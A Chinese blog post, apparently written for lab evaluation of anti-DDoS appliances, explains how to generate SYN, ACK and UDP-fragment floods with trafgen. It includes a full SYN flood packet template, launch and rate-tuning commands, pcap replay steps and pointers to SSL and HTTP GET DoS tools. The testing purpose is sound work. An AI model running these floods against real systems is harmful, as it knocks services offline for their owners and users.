synflood 模拟工具
synflood 模拟工具
来源 https://blog.csdn.net/wuzhimang/article/details/54581117
因项目需要,要对主流的几家抗DDoS设备做测评,当然了最专业的是使用Spirent TestCenter,但受限于其他因素,最终决定搭建一个软件环境来进行相关的DDoS测试。
本文主要讲解的是如何使用trafgen工具发起DDoS攻击(syn flood, ack flood等等)
synflood攻击、ackflood攻击、UDP fragment攻击的详细配置文件见 github ddos-dos-tools
工具选择
- 开源的流量生成工具很多,可用于模拟DoS攻击的工具也不在少数,如hping、scapy(python库)等等,但均存在着不足,如性能不够,不能模拟DDoS攻击(攻击流IP和PORT不能动态变化)
- 通过详细的对比测试(同hping、scapy、LOIC等对比测试,具体数据不宜公开),最后统一选择了netsniff-ng套件中的trafgen攻击,其在测试环境中可达到24万pps的SYNFLOOD攻击,是一款高速、多线程网络数据包生成工具
- trafgen 工具能够动态生成攻击IP和端口号,能够通过配置文件动态修改攻击包的内容
简单使用
1. 安装
trafgen属于netsniff-ng套件,是一款linux下的工具,安装很方便,通过系统的在线安装工具即可完成安装,如centos下yum install netsniff-ng
即可
2. 使用(SYN Flood攻击)
工具的比较简单,主要是配置文件的编写,假设已经写好了一个synflood配置文件
- 键入命令
trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose
即可发起攻击 - 进一步的还可通过
trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose --gap 1000
(以毫秒为单位)来调节速度 - 进一步的还可通过
trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose --kernel-pull 20
(默认10us)来调节速度 - 详细的可以
man trafgen
- 键入命令
配置文件解读(以synflood.trafgen文件为例)
- synflood.trafgen 模版,trafgen就是通过该文件来生成特定的数据包的!看配置文件的注释基本能清除如何修改
/* TCP SYN attack ( 64byte )
* Command example:
* trafgen --cpp --dev em2 --conf synflood.trafgen --verbose
* Note: dynamic elements "drnd()" make trafgen slower
*/
#define ETH_P_IP 0x0800
#define SYN (1 << 1)
#define ACK (1 << 4)
#define ECN (1 << 6)
{
/* --- Ethernet Header --- */
/* NEED ADJUST */
// 0x00, 0x12, 0xc0, 0x02, 0xac, 0x56, # MAC Destination
// 0x00, 0x12, 0xc0, drnd(3), # MAC Source
0xf4, 0xe9, 0xd4, 0x8d, 0x04, 0x82, # MAC Destination
0xf4, 0xe9, 0xd4, 0x8c, 0xe2, 0xa2, # MAC Source
const16(ETH_P_IP),
/* IPv4 Version, IHL, TOS */
0b01000101, 0,
/* IPv4 Total Len */
const16(46),
/* IPv4 Ident */
drnd(2),
//const16(2),
/* IPv4 Flags, Frag Off */
0b01000000, 0,
/* IPv4 TTL */
64,
/* Proto TCP */
0x06,
/* IPv4 Checksum (IP header from, to) */
csumip(14, 33),
/* NEED ADJUST */
// 10, 10, 88, drnd(1), # Source IP
10, 10, 88, 173, # Source IP
10, 10, 88, 172, # Dest IP
/* TCP Source Port */
drnd(2),
/* TCP Dest Port */
const16(80),
/* TCP Sequence Number */
drnd(4),
/* TCP Ackn. Number */
const32(0), /* NOTICE ACK==zero with SYN packets */
/* TCP Header length + Flags */
//const16((0x5 << 12) | SYN | ECN) /* TCP SYN+ECN Flag */
//const16((0x5 << 12) | SYN | ACK) /* TCP SYN+ACK Flag */
const16((0x5 << 12) | SYN) /* TCP SYN Flag */
//const16((0x5 << 12) | ACK) /* TCP ACK Flag */
/* Window Size */
const16(16),
/* TCP Checksum (offset IP, offset TCP) */
csumtcp(14, 34),
const16(0), /*PAD*/
/* Data */
"SYNswf"
}
- 配置文件可通过
drnd()
函数来实现对应内容的动态生成,如IP、MAC地址等,但是会影响性能
- 修改MAC地址(攻击/被攻击MAC地址)
- 修改IP地址和攻击协议及端口号,
const16()
将对应的十进制数转换成一个16位的二进制数
- 修改位SYN标志(根据情况也可修改为其他的)
3. ACKFlood 攻击
- 配置文件见 github ddos-dos-tools
4. UDP fragment 攻击
- 配置文件见 github ddos-dos-tools
5. 退出命令
统一退出命令pgrep trafgen | xargs kill -s 9
其他
- 在trafgen性能仍达不到要求的情况下,可通过netsniff-ng攻击进行流量回放,如下
- 先捕获synfloog攻击数据包
netsniff-ng --in ens33 --out synflood.pcap --silent --verbose --filter 'ether src 00:50:56:ab:a5:3f'
trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose
- 再重放synflood攻击数据包
netsniff-ng --in synflood.pcap --out ens33 --silent --prio-high --verbose
- 先捕获synfloog攻击数据包
- 在用trafgen进行实时流量生成或者netsniff-ng重放时,还可通过工具
tc
进行流量控制,具体请见“linux流量控制工具tc一文,简单举例如下
DDos/DoS工具集(持续更新)
来源 http://codeshold.me/2017/01/ddos_tools_set.html
项目中,需要帮助某公司完成对几台抗DDoS设备的测试,受限于各类因素,只能通过搭建软件环境来完成测评。下面是针对自己前期工作的一小部分整理,仅罗列了基于开源工具的一些内容,其他定制化的和自己编写的程序则未公开。hping、LOIC等其他工具,由于性能和其它原因也未被使用!
1. SynFlood 攻击
借助
netsniff-ng
套件中的trafgen
工具,其可伪造源ip发起DDoS攻击
trafgen
是一款高速的,多线程数据包生成器,官方测试显示其速度可达到12Mpps,自己在Intel(R) Xeon(R) CPU E5-2620 v3 @ 2.40GHz
下测得的发包速率有500Mbit/s多。通过对比其他开源程序,本工具的发包性能是自己测试中性能表现最高的。- synflood.trafgen是对应的配置文件模版,修改文件里的源/目的MAC地址以及源/目的IP后,命令行直接运行
trafgen --cpp --dev eth0 --conf ackflood.trafgen --cpu 2 --verbose
即可发起synflood攻击 - 通过添加
trafgen
命令行参数--gap
修改发包的速率,具体请man trafgen
- 对应工具可直接通过在线源进行安装,CentOS下
yum install netsniff-ng
即可安装整个套件,其中包含trafgen等工具。(预先可能需安装fedora源,yum install epel-release.noarch -y
)
2. AckFlood 攻击
同SynFlood类似
- ackflood.trafgen是对应的配置文件模版,修改文件里的源/目的MAC地址以及源/目的IP后,命令行直接运行
trafgen --cpp --dev eth0 --conf ackflood.trafgen --cpu 2 --verbose
即可发起ackflood攻击
3. SSL 攻击
- thc-ssl-dos是一款有名的ssl攻击程序,原理是ssl重新协商机制,但对于关闭了的或不支持SSL重协商的服务端,该工具将失效。
- ssl-dos.sh是自己写的一个简单的ssl攻击脚本,且适用于不支持ssl重协商的服务端,该脚本借助的是openssl工具。
4. HTTP GET 攻击
- http-get-dos是一个简单的、高性能HTTP GET DOS工具,可自定义HTTP请求头、连接数、总的HTTP请求数等
- 进入目录下
make
编译后,http-get-dos -h
查看使用信息
5. HTTP 慢速攻击
6. UDP fragment 攻击
同SynFlood类似
- small_frag.trafgen是对应的配置文件模版,修改文件里的源/目的MAC地址以及源/目的IP后,命令行直接运行
trafgen --cpp --dev eth0 --conf small_frag.trafgen --cpu 2 --verbose
即可发起UDP fragment DoS attack攻击
100. 贴一张部分图,自己看
========================
1. 使用 trafgen 进行 synflood 发包攻击:
2. 查看当前网卡的发包速率:
=========== End
synflood 模拟工具的更多相关文章
- Postman用法简介-Http请求模拟工具
在我们平时开发中,特别是需要与接口打交道时,无论是写接口还是用接口,拿到接口后肯定都得提前测试一下,这样的话就非常需要有一个比较给力的Http请求模拟工具,现在流行的这种工具也挺多的,像火狐浏览器插件 ...
- HTTP模拟工具【C#/Winform源码】、Json绑定TreeView控件、使用了MetroModernUI、RestSharp、Dapper.Net、Newtonsoft.Json、SmartThreadPool这几个主要开源框架
HTTP模拟工具 开发语言:C#/Winform开发工具:Visual Studio 2017数据库: SQLite使用框架:界面-MetroModernUI Http请 ...
- 终端模拟工具:Xshell 4
终端模拟工具:Xshell 4 2016-09-20 目录 1 安装 2 配置 3 命令 Xshell 是一个强大的安全终端模拟软件,它支持SSH1, SSH2, 以及Microsoft Window ...
- CPNtools 模拟工具适合分析什么样的协议
最近梳理和CPNtools和Scyther之间的性能和差别.方便后面整理使用 1.库所的托肯值是什么? 托肯值也叫作令牌, 即网络系统中的资源,托肯的数目值代表了网络赋予的资源大小.在一个活的网络系统 ...
- 在线http模拟工具
在线http模拟工具http://www.atool.org/httptest.php
- 学习axios必知必会(1)~axios基本介绍、axios配置、json-server接口模拟工具
一.axios基本介绍 1.axios(前端最流行的 ajax 请求库) 特点: ① 基于 xhr + promise 的异步 ajax 请求库 ② 浏览器端/node 端都可以使用 ③ 支持请求/响 ...
- Delphi 使用串口模拟工具进行串口程序开发调试
版权声明:本文为博主原创文章,如需转载请注明出处及作者. 本文由小李专栏原创,转载需注明出处:[http://blog.csdn.net/softwave/article/details/8907 ...
- App弱网测试与常用模拟工具
iOS平台,通过自带的开发者选项 >Network Link Conditioner, 即可简单的模拟各种速度的网络情况: 通过抓包工具,设置延迟,进行模拟不同的网络情况,比如常用的fiddle ...
- 网络环境场景以及模拟工具netem
网络环境场景包括: 延迟(Lag),把数据包缓存一段时间后再发出,这样能够模拟网络延迟的状况. 掉包(Drop),随机丢弃一些数据. 节流(Throttle),把一小段时间内的数据拦截下来后再在之后的 ...
随机推荐
- JAVA_Converter_字符串类型转Date类型
我们知道数据库中的时间一般为Date类型,而前台传递过来的为字符串,BeanUtils在封装数据的时候,没有将类型转换,导致报异常... 我们只需要在封装数据之前,使用自定义转换器即可: 代码如下: ...
- IOS中input与fixed同时存在的情况会出现bug
两种解决方案,一种是将内容区域放在中间部分,只是中间部分在滚动(还是固定在底部):另一种是判断当是ios时,将其转换为absolute定位.(跟随着页面的滚动而滚动);; 当使用input时,fixe ...
- Centos7安装Mysql5.7并修改初始密码
1.CentOS 的yum源中没有mysql,需要到mysql的官网下载yum repo配置文件. wget https://dev.mysql.com/get/mysql57-community-r ...
- 对Neural Machine Translation by Jointly Learning to Align and Translate论文的详解
读论文 Neural Machine Translation by Jointly Learning to Align and Translate 这个论文是在NLP中第一个使用attention机制 ...
- C# WPF使一个窗口挡在最前面,且不处理此窗口就不能点击其他窗口
模态框弹出就可以了.窗口用ShowDialog调用. 可以在子窗体里把WindowStartupLocation设置为CenterOwner, 让子窗体在MainWindow的中心位置显示
- 裸机——SD卡
1.首先要对SD卡有个基础知识 (1) SD = nandflash + 主控IC. 主控IC负责了校验和坏块管理,所以SoC只需要依照时序就可以和SD卡上的主控IC进行数据交换等操作. (2) SD ...
- 调整图像的亮度和对比度—opencv
1.理论基础 两个参数 和 一般称作 增益 和 偏置 参数.我们往往用这两个参数来分别控制 对比度 和 亮度 . 你可以把 看成源图像像素,把 看成输出图像像素.这样一来,上面的式子就能写得更 ...
- poj 1957 二分搜索
题意:N个灯泡离地H_i,满足H1 = A ,Hi = (Hi-1 + Hi+1)/2 – 1,HN = B ,求最小B. 思路: 只要二分第二个灯泡的高度就可以推出全部灯泡的高度 如果hi<0 ...
- POJ3246
Description For the daily milking, Farmer John's N cows (1 ≤ N ≤ 50,000) always line up in the same ...
- Retrofit get post query filed FiledMap
直接请求型 1.如果是直接请求某一地址,写法如下: @GET("/record") Call getResult(); 2.如果是组合后直接请求,如/result/{id}写法如下 ...